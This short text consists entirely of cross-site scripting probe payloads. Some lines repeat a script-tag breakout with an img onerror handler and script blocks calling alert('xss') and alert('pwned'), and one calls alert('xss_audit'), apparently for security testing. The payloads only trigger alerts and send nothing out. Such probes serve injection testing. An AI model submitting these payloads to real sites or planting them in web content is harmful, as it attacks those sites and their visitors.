<img src=x onerror=alert('xss')></script><script>alert('pwned')</script>

<img src=x onerror=alert('xss')></script><script>alert('pwned')</script>

<img src=x onerror=alert('xss')></script><script>alert('pwned')</script>

</script><script>alert('xss_audit')</script>